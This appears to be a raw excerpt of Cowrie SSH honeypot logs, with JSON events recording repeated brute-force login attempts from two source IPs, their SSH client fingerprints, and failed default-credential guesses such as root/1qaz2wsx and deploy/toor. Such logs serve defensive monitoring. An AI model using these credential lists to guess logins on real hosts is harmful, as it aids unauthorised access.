cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.327150Z","src_ip":"45.156.87.147","session":"77c1d64ead83","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.426261Z","src_ip":"91.92.42.227","session":"ce464995e379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.431260Z","src_ip":"91.92.42.227","session":"ce464995e379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:18.704925Z","src_ip":"45.156.87.147","session":"77c1d64ead83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:19.791439Z","src_ip":"45.156.87.147","session":"77c1d64ead83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:21.871122Z","src_ip":"91.92.42.227","session":"922737ba8536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:23.420354Z","src_ip":"91.92.42.227","session":"4032374ed71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54958,"dst_ip":"10.17.0.5","dst_port":22,"session":"f917684bdc07","protocol":"ssh","message":"New connection: 45.156.87.147:54958 (10.17.0.5:22) [session: f917684bdc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:23.481895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:23.486753Z","src_ip":"45.156.87.147","session":"f917684bdc07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:23.567959Z","src_ip":"45.156.87.147","session":"f917684bdc07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:23.830345Z","src_ip":"45.156.87.147","session":"f917684bdc07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42970,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a80e110b66","protocol":"ssh","message":"New connection: 91.92.42.227:42970 (10.17.0.5:22) [session: 69a80e110b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:24.223902Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:24.931465Z","src_ip":"45.156.87.147","session":"f917684bdc07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:26.201320Z","src_ip":"91.92.42.227","session":"69a80e110b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:26.204988Z","src_ip":"91.92.42.227","session":"69a80e110b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:26.446306Z","src_ip":"91.92.42.227","session":"4032374ed71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:27.742337Z","src_ip":"91.92.42.227","session":"ce464995e379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54970,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed94cc71074","protocol":"ssh","message":"New connection: 45.156.87.147:54970 (10.17.0.5:22) [session: 4ed94cc71074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:28.880859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:28.884882Z","src_ip":"45.156.87.147","session":"4ed94cc71074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:28.970336Z","src_ip":"45.156.87.147","session":"4ed94cc71074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"toor","message":"login attempt [deploy/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:29.221602Z","src_ip":"45.156.87.147","session":"4ed94cc71074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:30.307521Z","src_ip":"45.156.87.147","session":"4ed94cc71074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53398,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba38071806fa","protocol":"ssh","message":"New connection: 91.92.42.227:53398 (10.17.0.5:22) [session: ba38071806fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:31.125604Z"}
{"eventid":"cowrie.session.closed","duration":"17.2","message":"Connection lost after 17.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:31.531816Z","src_ip":"91.92.42.227","session":"ce464995e379","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:33.337147Z","src_ip":"91.92.42.227","session":"ba38071806fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:33.340847Z","src_ip":"91.92.42.227","session":"ba38071806fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58212,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc9a763a31a","protocol":"ssh","message":"New connection: 45.156.87.147:58212 (10.17.0.5:22) [session: adc9a763a31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:34.700717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:34.706450Z","src_ip":"45.156.87.147","session":"adc9a763a31a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:34.784851Z","src_ip":"45.156.87.147","session":"adc9a763a31a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:34.795816Z","src_ip":"91.92.42.227","session":"69a80e110b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:35.114474Z","src_ip":"45.156.87.147","session":"adc9a763a31a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:36.202533Z","src_ip":"45.156.87.147","session":"adc9a763a31a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49382,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad10c7c4e4b4","protocol":"ssh","message":"New connection: 91.92.42.227:49382 (10.17.0.5:22) [session: ad10c7c4e4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:37.324401Z"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:38.052704Z","src_ip":"91.92.42.227","session":"69a80e110b66","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:39.532101Z","src_ip":"91.92.42.227","session":"ad10c7c4e4b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:39.535565Z","src_ip":"91.92.42.227","session":"ad10c7c4e4b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47624,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d762cf261c2","protocol":"ssh","message":"New connection: 45.156.87.147:47624 (10.17.0.5:22) [session: 5d762cf261c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:40.178342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:40.181402Z","src_ip":"45.156.87.147","session":"5d762cf261c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:40.264482Z","src_ip":"45.156.87.147","session":"5d762cf261c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:40.516056Z","src_ip":"45.156.87.147","session":"5d762cf261c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:41.602132Z","src_ip":"45.156.87.147","session":"5d762cf261c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:43.215836Z","src_ip":"91.92.42.227","session":"ba38071806fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38854,"dst_ip":"10.17.0.5","dst_port":22,"session":"eac19e1dda10","protocol":"ssh","message":"New connection: 91.92.42.227:38854 (10.17.0.5:22) [session: eac19e1dda10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:44.780725Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47638,"dst_ip":"10.17.0.5","dst_port":22,"session":"061f56bb9d53","protocol":"ssh","message":"New connection: 45.156.87.147:47638 (10.17.0.5:22) [session: 061f56bb9d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:43:45.507809Z"}
